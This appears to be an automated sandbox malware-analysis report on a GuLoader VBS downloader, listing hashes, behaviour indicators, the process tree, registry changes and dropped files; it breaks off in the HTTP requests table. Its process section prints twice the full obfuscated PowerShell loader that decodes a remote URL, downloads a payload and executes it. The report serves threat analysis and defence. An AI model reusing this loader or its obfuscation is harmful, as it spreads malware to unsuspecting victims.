File name:

c534dbee1ebfa23f3def64b0757c6895cbd502f70ae172242498d1c2839a0351.vbs

Full analysis: https://app.any.run/tasks/2ab0b136-6792-4576-a0db-3be62c4270f6
Verdict: Malicious activity
Threats:

GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities.

Malware Trends Tracker     >>>
Analysis date: June 24, 2024, 06:34:02
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
guloader
loader
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (371), with CRLF line terminators
MD5:

F793EEEB60F1936DFB4A9B8EE39D5146

SHA1:

FAE0F64D4BE9A5135433B2AAE92E8DA479E5F035

SHA256:

C534DBEE1EBFA23F3DEF64B0757C6895CBD502F70AE172242498D1C2839A0351

SSDEEP:

192:yG6Veu0veR4y08nKGSyL80d+Do7tKIVQHxU7S3izn3SbwU:OQu0WCMKZyL8W+DWFVYKSsn34wU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 5964)

    • GULOADER has been detected

      • powershell.exe (PID: 1428)
      • powershell.exe (PID: 4280)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 1428)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 1428)
      • powershell.exe (PID: 4280)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 5964)
      • powershell.exe (PID: 1428)

    • Suspicious use of symmetric encryption in PowerShell

      • wscript.exe (PID: 5964)
      • powershell.exe (PID: 1428)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 5964)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 1428)
      • powershell.exe (PID: 4280)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 4280)
      • powershell.exe (PID: 1428)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 1428)
      • powershell.exe (PID: 4280)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 4280)

  • INFO

    • Creates or changes the value of an item property via Powershell

      • wscript.exe (PID: 5964)
      • powershell.exe (PID: 1428)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 1428)
      • powershell.exe (PID: 4280)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 1428)
      • powershell.exe (PID: 4280)

    • Disables trace logs

      • powershell.exe (PID: 1428)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 4280)
      • powershell.exe (PID: 1428)

    • Checks proxy server information

      • powershell.exe (PID: 1428)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4280)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
138
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs #GULOADER powershell.exe conhost.exe no specs cmd.exe no specs #GULOADER powershell.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1428powershell -windowstyle hidden "cls;write 'Bostonians Skvulpenes Forbindskasses Frowzled Slgtsarvs121 Nonsaturated Colibakterie Lnsedler Representant Coaliser Rabidly Netstrmforsyningerne Earthmover Presseseminarets92 Pietistically Salgstidspunkternes Cherna Indkrvedes249 Skarvs Assessment Udensogns Paasmringen Reneged stadsestuers Bostonians Skvulpenes Forbindskasses Frowzled Slgtsarvs121 Nonsaturated Colibakterie Lnsedler Representant Coaliser Rabidly Netstrmforsyningerne Earthmover Presseseminarets92 Pietistically Salgstidspunkternes Cherna Indkrvedes249 Skarvs Assessment Udensogns Paasmringen Reneged stadsestuers';$might = 1;Function Modili($Chequy){$Veratridin=$Chequy.Length-$might;$Lftebevgelsens='SUBSTRIN';$Lftebevgelsens+='G';For( $troglodytish=4;$troglodytish -lt $Veratridin;$troglodytish+=5){$Bostonians+=$Chequy.$Lftebevgelsens.Invoke( $troglodytish, $might);}$Bostonians;}function Jarrett155($Datalren){ . ($Atrial) ($Datalren);}$Kommercielles=Modili 'PilsM q aoAgtszGy.ni,edelBudgl UndaPror/No,i5Harm.Shot0 ork Raak( ,hvWTomoiOkarnGi.jdP.otoCephwByggsDir. korN.lasTGl.d Deli1,irc0sest.Be e0Bast;Unde BescWS.uaiKafknSaal6Kont4Untr;Herr CouxFuld6 Uds4Baer;Secr BluerNutiv Dec: .he1Nede2 Ho,1.epe. All0Jar.)Anh. SvanGUnuneFravcbon.k Re oX,lo/ str2Si e0 Ber1Str 0Omsv0Anae1 dks0F.na1 S.i retFCircilserr ilie SatfGoono EftxFors/Inf 1Mun 2Beat1Ove..,oks0Indu ';$Salonens94=Modili 'ProtUWarasAtaieStanrCare-RislAProgg Fr.e QuinNasot Be ';$Slgtsarvs121=Modili 'OverhUnintR.tatPerspSpydsBogs:Ombu/Par./VidelPropeCarbr Banu ,ilbSuleaRe,onSyncjFlaca ,ntuReutnS apeBlot.MarsbUddalJerno.etagReif/StorwZ,iepHopl-Aksec Bu o abun Glet ifte Opfn R,ft ekr/SustxQ enhGe,yN AlsMPub 0 Pum/OverHParafBlantKreoegr.alDe,asRhineM.gnr SeknGradepian. epto ehacgarnxVrks ';$Whittle=Modili 'Ekle>F lk ';$Atrial=Modili ' Spai ,aseNettx Ti ';$Slynglers='Lnsedler';$Sorthovededes = Modili 'u.roeDo icMa,nhCo.yoAfgi Inte% Dana GippDisdpIntedKo oaPountDasyasamm% Fel\FlleDAus.e Gimnh.lfa tr tPenuuSystrunteeBindrMinuiMohon F.rgforeeKonfrDjvl.MurrFHoveo.sagrRavi Gran&Begy& ru Udtre,eatc owhEmbooPref ,esttring ';Jarrett155 (Modili 'Ipse$GenbgSndal UdloP.ycb andaOmprlPu,h:BagtrSortuLov.mGal sMisptAfsoe E hr Pu,i skrnMastgsynkeSkolr aursLe i=pjas(PsykcAnemmD,skdUnpr B vi/ T,icov r Sor.$CuadSFastoArtirAstrtTromhU,huoMassvVareeNon.dDum.e.serd.ynseInd,sankl)Des, ');Jarrett155 (Modili 'Si.k$Am.lg StrlFranoNynabOpslaRegnlRuct:Wes FRipprSt,koEssiwSaliz ndelAllieTe td ant=Pol $KrigSUddilWorsg SpotVag.sDetaaLongrO,ervBirks Que1Embo2 Alv1S.ji.S,btsMyggpInsulSkaaiPacituntu(Ress$F,lbWSubshDrejitanttAftrt Pufl TrveKrve)Kub, ');Jarrett155 (Modili 'Boun[DiswN pieKon tGeri.V weSFedteAmbrrAirwvPh.niByggc,nfie M.nPUnrio Pr iReninT,agtTentMhellaUn tnClepa,ugag ErhePa lrrust]Klyd:.emk:NierSforkeMaskc Anoucosmr LaciHenrtDatuyUnfePR,njrPaa.o.urttBajooMangc ,eaoHenklOrt, over= Bil Eosi[ DobNUnhaeTr,ntmeta.Fl eS ,taeE stcBogsu ReirarviiLitht isayGa,bPFastr anso F.ltG,ogoStancMol,o Ge,l SavTOthey RocpHjopeLudv]Deis: oss:M shT Pusl ,ursAkti1tu.i2Skyd ');$Slgtsarvs121=$Frowzled[0];$buntmagersyerens= (Modili 'O,gr$MarcgMiralNonaoLiv bMoskaValmlS,aa: SkoR eisnEpipt AfggPrereElsdn ikbCsareken,h.appaSlidnPre.dO,erlAmiieU.acd Pa,eDoorsOdon=HorsNAnsteVejkwH me-S,umO lib Insj.ulfe.ndrcRelatTone HypeSAut.yOpf,sLabitKe,netriwmSes,.,avvNArcheProgtOrac.TrevW TayensevbTinaC MillDicliBoheeRecunLirkt');$buntmagersyerens+=$rumsteringers[1];Jarrett155 ($buntmagersyerens);Jarrett155 (Modili 'Uros$EndeRTelenS.eft Besg ylreMadlnFingbPerieDetih GenaLla n.immdsmerlSysteDetadsneaeA lesTrni.FlotH PyteDucma,remd CiveTraprEdhcsDien[D ns$KaroST iba mohlWictoGrunn QuaeUdfln Unps Ant9 Do.4En e]Sul =Raah$GendKS mmo andmNedsmAtlaeHypur ormcSsonivas ePrinlGulilPhonePaakstheo ');$Ahuehuete124=Modili 'Farv$ RitRArbenFam tParagAfsveO.ernkon.bt.rke,ulshP staH ponUnindP lylco,ne MicdB,mleD,rvs,ewf. eblDNonco M,swRecrnMisblflyvoRedoaFonedBergFGumwi ecrl By eofft(Nonj$AfstSUn,ol ,utg,edltSindsArvea A ar.ostvHanlsFidu1Pilu2Sem,1Un e, kat$PaalPBagsaSubga Bals OprmOpdyr ,laiSi.nnHypngHul eOkayn Bnh)Stet ';$Paasmringen=$rumsteringers[0];Jarrett155 (Modili 'Anti$I.rag AnglLoe.oOverbN zzaTeg,l Co,: Dy.NPrd,aSpaet.xaniSc.ro EpinCampaGobel,ogamvidvuToursIsoleFor.eNyayrPomesSy d=T,en(U,wiT.voleBabbsAnsttFri,-Un,wP PeraHelitSubvhSpyt ra,$OleoP .yga ApiaAktis TakmLaerrelasist rnProtgTykteKashn Cor),emi ');while (!$Nationalmuseers) {Jarrett155 (Modili 'Svar$ GligSup,l PoloUnirbKlaraNouglLjtn:PlaiS.avih.ubcr PeraAnnovSc.neIndiymala6N ut2Dida=Rati$ a.ptPulvr RumuProce .er ') ;Jarrett155 $Ahuehuete124;Jarrett155 (Modili 'SpaeSBroct PliaCoalr Damt Lus-.arqSVenelDoweeGenne Antp Eff Eks,4Binr ');Jarrett155 (Modili 'Kate$Bet.gAkvalve,roUnafb .ilaFyrslRoam:HuggN BeraFar tStiniConfoK.ipnQuada taklBo smPretu ForsG.erePaveeCiser.onisGlos= Dat(UndeTHydreSv ls.auttpur,- HaiPM.rxapolyt Ichh Und Dens$ OvePe,icaHippa BessNo.emWo drSebui .uin,roig.npieSkmtnOpdr)Sali ') ;Jarrett155 (Modili 'Intr$StemgBilalEmpioMiscbRe,ia F.yl.urc:L.epFP,skoVes.rLejebT,odiPrminDi.td VltsS eekLotuaUtilsH.ilsAutoe B.ysIld.=mate$ Rusggg.tl slaoB plbP,eea Bacl Mai:TribSDeh.kF wlvkonduPsycl re.pIntee,ealn S reFladsRa,m+Synt+Pers%Synt$Dis.FDustrs guoRn,gw.eglzFr,nlDrmteVultdKons. Tr,cBatto Resu.huhn Sh,t,nve ') ;$Slgtsarvs121=$Frowzled[$Forbindskasses];}$hofjgermesters=321568;$Aarsindtgter=27564;Jarrett155 (Modili 'Com.$,crigNytalUddeoSlvtbflanaSl.klCrud: B,nRjordeRverpTillrExtreBar.sWeapeDespnJacutEra a,rabnCoentPe.i Till=c.ad TodkGForpeDepot Gen-JourCS,isoBitin .emtIn feSt nnRenotTekn Hari$ViewP Bipasupea Unds UnpmTi,irT.lfiSemin OprgPurse isnDiss ');Jarrett155 (Modili 'Sdml$Admog UsqlUndeoVan,bUndea nilShar:ObduA Ud bFinnsDen.e .ern.alotFatti RakaHasi5Poe,1tank Ken=Uo h Torm[TophSTaksy DefsDr at Ggee NonmCour.RekoCNo coSammn.ituvTilde Lo.r,rintSign]Mela: Ble:,iabFTegnrS,laoTestm,uldB Ma,a,ndesBarbeStr 6dr,t4 ooSlarytImplrWashi D rnOrthg Mit(Ho.e$KaglRAntie Unvp onrSlipeLapasPerse .annKu,et Ur.aUndinMlketRumb) Tva ');Jarrett155 (Modili ' ,al$RussgC.lul Lico serb NytaValmlpi s: LunNOvereDisbtAkslskrlltAflvrKur mKr,gfTo.codelmrFor.sUdloyNonrnArveiForsnAdvogNadieSkakrMuscn StueNe.r Trip=.dsm Jo [UnfoS Tigy Equs Erht Inde UntmPneu.HelcTKendeBrigxSecrtF ld.DepiEStvhnKnascVrdioBloddPreei BisnDyrtgreku]Pre.:D.ns:S,obA Sp SProbCUlydIEr tIRa,i.FortGkrake DeetNdriSSakktFlokrTrlbiReadnUn hgLede(Ad i$m rtARomabUnecs miae CabnMoy tArmei SkjaFeld5P an1 .pi)Dogs ');Jarrett155 (Modili 'Blit$P.ocgStatlDenno Excb OvoaBruglfo t: rewVBistasomanLnindHaywg Hu.r HyleNoy,nLoch=Serv$B.tmNLigae CovtOakws KartPerpr Blimin afOff,oSubprShoes ,ewymbeln M.riQu rnDastg.veneAzerrcaminMi leInte.TengsCatau UnlbTit,sPostt Nu rP aniPi hn Afsgildd(Pedr$ToolhModsoTylafUnglj,ubngLedeeIridrF,mim.andeRel.sGorgtsvi.e Tunr Scus ,ee, en$Vis,ACoyoa CelrSagasDatii hernIndudSovet affgUn,et L,ne Re rT in)An.a ');Jarrett155 $Vandgren;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2060"C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Denatureringer.For && echo t"C:\Windows\SysWOW64\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
3224\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3680"C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Denatureringer.For && echo t"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
4280"C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Bostonians Skvulpenes Forbindskasses Frowzled Slgtsarvs121 Nonsaturated Colibakterie Lnsedler Representant Coaliser Rabidly Netstrmforsyningerne Earthmover Presseseminarets92 Pietistically Salgstidspunkternes Cherna Indkrvedes249 Skarvs Assessment Udensogns Paasmringen Reneged stadsestuers Bostonians Skvulpenes Forbindskasses Frowzled Slgtsarvs121 Nonsaturated Colibakterie Lnsedler Representant Coaliser Rabidly Netstrmforsyningerne Earthmover Presseseminarets92 Pietistically Salgstidspunkternes Cherna Indkrvedes249 Skarvs Assessment Udensogns Paasmringen Reneged stadsestuers';$might = 1;Function Modili($Chequy){$Veratridin=$Chequy.Length-$might;$Lftebevgelsens='SUBSTRIN';$Lftebevgelsens+='G';For( $troglodytish=4;$troglodytish -lt $Veratridin;$troglodytish+=5){$Bostonians+=$Chequy.$Lftebevgelsens.Invoke( $troglodytish, $might);}$Bostonians;}function Jarrett155($Datalren){ . ($Atrial) ($Datalren);}$Kommercielles=Modili 'PilsM q aoAgtszGy.ni,edelBudgl UndaPror/No,i5Harm.Shot0 ork Raak( ,hvWTomoiOkarnGi.jdP.otoCephwByggsDir. korN.lasTGl.d Deli1,irc0sest.Be e0Bast;Unde BescWS.uaiKafknSaal6Kont4Untr;Herr CouxFuld6 Uds4Baer;Secr BluerNutiv Dec: .he1Nede2 Ho,1.epe. All0Jar.)Anh. SvanGUnuneFravcbon.k Re oX,lo/ str2Si e0 Ber1Str 0Omsv0Anae1 dks0F.na1 S.i retFCircilserr ilie SatfGoono EftxFors/Inf 1Mun 2Beat1Ove..,oks0Indu ';$Salonens94=Modili 'ProtUWarasAtaieStanrCare-RislAProgg Fr.e QuinNasot Be ';$Slgtsarvs121=Modili 'OverhUnintR.tatPerspSpydsBogs:Ombu/Par./VidelPropeCarbr Banu ,ilbSuleaRe,onSyncjFlaca ,ntuReutnS apeBlot.MarsbUddalJerno.etagReif/StorwZ,iepHopl-Aksec Bu o abun Glet ifte Opfn R,ft ekr/SustxQ enhGe,yN AlsMPub 0 Pum/OverHParafBlantKreoegr.alDe,asRhineM.gnr SeknGradepian. epto ehacgarnxVrks ';$Whittle=Modili 'Ekle>F lk ';$Atrial=Modili ' Spai ,aseNettx Ti ';$Slynglers='Lnsedler';$Sorthovededes = Modili 'u.roeDo icMa,nhCo.yoAfgi Inte% Dana GippDisdpIntedKo oaPountDasyasamm% Fel\FlleDAus.e Gimnh.lfa tr tPenuuSystrunteeBindrMinuiMohon F.rgforeeKonfrDjvl.MurrFHoveo.sagrRavi Gran&Begy& ru Udtre,eatc owhEmbooPref ,esttring ';Jarrett155 (Modili 'Ipse$GenbgSndal UdloP.ycb andaOmprlPu,h:BagtrSortuLov.mGal sMisptAfsoe E hr Pu,i skrnMastgsynkeSkolr aursLe i=pjas(PsykcAnemmD,skdUnpr B vi/ T,icov r Sor.$CuadSFastoArtirAstrtTromhU,huoMassvVareeNon.dDum.e.serd.ynseInd,sankl)Des, ');Jarrett155 (Modili 'Si.k$Am.lg StrlFranoNynabOpslaRegnlRuct:Wes FRipprSt,koEssiwSaliz ndelAllieTe td ant=Pol $KrigSUddilWorsg SpotVag.sDetaaLongrO,ervBirks Que1Embo2 Alv1S.ji.S,btsMyggpInsulSkaaiPacituntu(Ress$F,lbWSubshDrejitanttAftrt Pufl TrveKrve)Kub, ');Jarrett155 (Modili 'Boun[DiswN pieKon tGeri.V weSFedteAmbrrAirwvPh.niByggc,nfie M.nPUnrio Pr iReninT,agtTentMhellaUn tnClepa,ugag ErhePa lrrust]Klyd:.emk:NierSforkeMaskc Anoucosmr LaciHenrtDatuyUnfePR,njrPaa.o.urttBajooMangc ,eaoHenklOrt, over= Bil Eosi[ DobNUnhaeTr,ntmeta.Fl eS ,taeE stcBogsu ReirarviiLitht isayGa,bPFastr anso F.ltG,ogoStancMol,o Ge,l SavTOthey RocpHjopeLudv]Deis: oss:M shT Pusl ,ursAkti1tu.i2Skyd ');$Slgtsarvs121=$Frowzled[0];$buntmagersyerens= (Modili 'O,gr$MarcgMiralNonaoLiv bMoskaValmlS,aa: SkoR eisnEpipt AfggPrereElsdn ikbCsareken,h.appaSlidnPre.dO,erlAmiieU.acd Pa,eDoorsOdon=HorsNAnsteVejkwH me-S,umO lib Insj.ulfe.ndrcRelatTone HypeSAut.yOpf,sLabitKe,netriwmSes,.,avvNArcheProgtOrac.TrevW TayensevbTinaC MillDicliBoheeRecunLirkt');$buntmagersyerens+=$rumsteringers[1];Jarrett155 ($buntmagersyerens);Jarrett155 (Modili 'Uros$EndeRTelenS.eft Besg ylreMadlnFingbPerieDetih GenaLla n.immdsmerlSysteDetadsneaeA lesTrni.FlotH PyteDucma,remd CiveTraprEdhcsDien[D ns$KaroST iba mohlWictoGrunn QuaeUdfln Unps Ant9 Do.4En e]Sul =Raah$GendKS mmo andmNedsmAtlaeHypur ormcSsonivas ePrinlGulilPhonePaakstheo ');$Ahuehuete124=Modili 'Farv$ RitRArbenFam tParagAfsveO.ernkon.bt.rke,ulshP staH ponUnindP lylco,ne MicdB,mleD,rvs,ewf. eblDNonco M,swRecrnMisblflyvoRedoaFonedBergFGumwi ecrl By eofft(Nonj$AfstSUn,ol ,utg,edltSindsArvea A ar.ostvHanlsFidu1Pilu2Sem,1Un e, kat$PaalPBagsaSubga Bals OprmOpdyr ,laiSi.nnHypngHul eOkayn Bnh)Stet ';$Paasmringen=$rumsteringers[0];Jarrett155 (Modili 'Anti$I.rag AnglLoe.oOverbN zzaTeg,l Co,: Dy.NPrd,aSpaet.xaniSc.ro EpinCampaGobel,ogamvidvuToursIsoleFor.eNyayrPomesSy d=T,en(U,wiT.voleBabbsAnsttFri,-Un,wP PeraHelitSubvhSpyt ra,$OleoP .yga ApiaAktis TakmLaerrelasist rnProtgTykteKashn Cor),emi ');while (!$Nationalmuseers) {Jarrett155 (Modili 'Svar$ GligSup,l PoloUnirbKlaraNouglLjtn:PlaiS.avih.ubcr PeraAnnovSc.neIndiymala6N ut2Dida=Rati$ a.ptPulvr RumuProce .er ') ;Jarrett155 $Ahuehuete124;Jarrett155 (Modili 'SpaeSBroct PliaCoalr Damt Lus-.arqSVenelDoweeGenne Antp Eff Eks,4Binr ');Jarrett155 (Modili 'Kate$Bet.gAkvalve,roUnafb .ilaFyrslRoam:HuggN BeraFar tStiniConfoK.ipnQuada taklBo smPretu ForsG.erePaveeCiser.onisGlos= Dat(UndeTHydreSv ls.auttpur,- HaiPM.rxapolyt Ichh Und Dens$ OvePe,icaHippa BessNo.emWo drSebui .uin,roig.npieSkmtnOpdr)Sali ') ;Jarrett155 (Modili 'Intr$StemgBilalEmpioMiscbRe,ia F.yl.urc:L.epFP,skoVes.rLejebT,odiPrminDi.td VltsS eekLotuaUtilsH.ilsAutoe B.ysIld.=mate$ Rusggg.tl slaoB plbP,eea Bacl Mai:TribSDeh.kF wlvkonduPsycl re.pIntee,ealn S reFladsRa,m+Synt+Pers%Synt$Dis.FDustrs guoRn,gw.eglzFr,nlDrmteVultdKons. Tr,cBatto Resu.huhn Sh,t,nve ') ;$Slgtsarvs121=$Frowzled[$Forbindskasses];}$hofjgermesters=321568;$Aarsindtgter=27564;Jarrett155 (Modili 'Com.$,crigNytalUddeoSlvtbflanaSl.klCrud: B,nRjordeRverpTillrExtreBar.sWeapeDespnJacutEra a,rabnCoentPe.i Till=c.ad TodkGForpeDepot Gen-JourCS,isoBitin .emtIn feSt nnRenotTekn Hari$ViewP Bipasupea Unds UnpmTi,irT.lfiSemin OprgPurse isnDiss ');Jarrett155 (Modili 'Sdml$Admog UsqlUndeoVan,bUndea nilShar:ObduA Ud bFinnsDen.e .ern.alotFatti RakaHasi5Poe,1tank Ken=Uo h Torm[TophSTaksy DefsDr at Ggee NonmCour.RekoCNo coSammn.ituvTilde Lo.r,rintSign]Mela: Ble:,iabFTegnrS,laoTestm,uldB Ma,a,ndesBarbeStr 6dr,t4 ooSlarytImplrWashi D rnOrthg Mit(Ho.e$KaglRAntie Unvp onrSlipeLapasPerse .annKu,et Ur.aUndinMlketRumb) Tva ');Jarrett155 (Modili ' ,al$RussgC.lul Lico serb NytaValmlpi s: LunNOvereDisbtAkslskrlltAflvrKur mKr,gfTo.codelmrFor.sUdloyNonrnArveiForsnAdvogNadieSkakrMuscn StueNe.r Trip=.dsm Jo [UnfoS Tigy Equs Erht Inde UntmPneu.HelcTKendeBrigxSecrtF ld.DepiEStvhnKnascVrdioBloddPreei BisnDyrtgreku]Pre.:D.ns:S,obA Sp SProbCUlydIEr tIRa,i.FortGkrake DeetNdriSSakktFlokrTrlbiReadnUn hgLede(Ad i$m rtARomabUnecs miae CabnMoy tArmei SkjaFeld5P an1 .pi)Dogs ');Jarrett155 (Modili 'Blit$P.ocgStatlDenno Excb OvoaBruglfo t: rewVBistasomanLnindHaywg Hu.r HyleNoy,nLoch=Serv$B.tmNLigae CovtOakws KartPerpr Blimin afOff,oSubprShoes ,ewymbeln M.riQu rnDastg.veneAzerrcaminMi leInte.TengsCatau UnlbTit,sPostt Nu rP aniPi hn Afsgildd(Pedr$ToolhModsoTylafUnglj,ubngLedeeIridrF,mim.andeRel.sGorgtsvi.e Tunr Scus ,ee, en$Vis,ACoyoa CelrSagasDatii hernIndudSovet affgUn,et L,ne Re rT in)An.a ');Jarrett155 $Vandgren;"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
5964"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\c534dbee1ebfa23f3def64b0757c6895cbd502f70ae172242498d1c2839a0351.vbsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
11 197
Read events
11 183
Write events
14
Delete events
0

Modification events

(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(1428) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
0
Suspicious files
1
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
1428powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_f2nxkzzq.dv2.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1428powershell.exeC:\Users\admin\AppData\Roaming\Denatureringer.Fortext
MD5:71D3C99240E3AB96771182F4F3A56A36
SHA256:02CDBF313C7E2F9C89234D17D8679CC28817EBD4FEBCDC31154917375C813D69
4280powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xjzl4niw.uqn.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4280powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
1428powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_v3qpjv2n.oxn.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4280powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_04fhpl4p.0wr.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
62
DNS requests
15
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3040
OfficeClickToRun.exe
GET
200
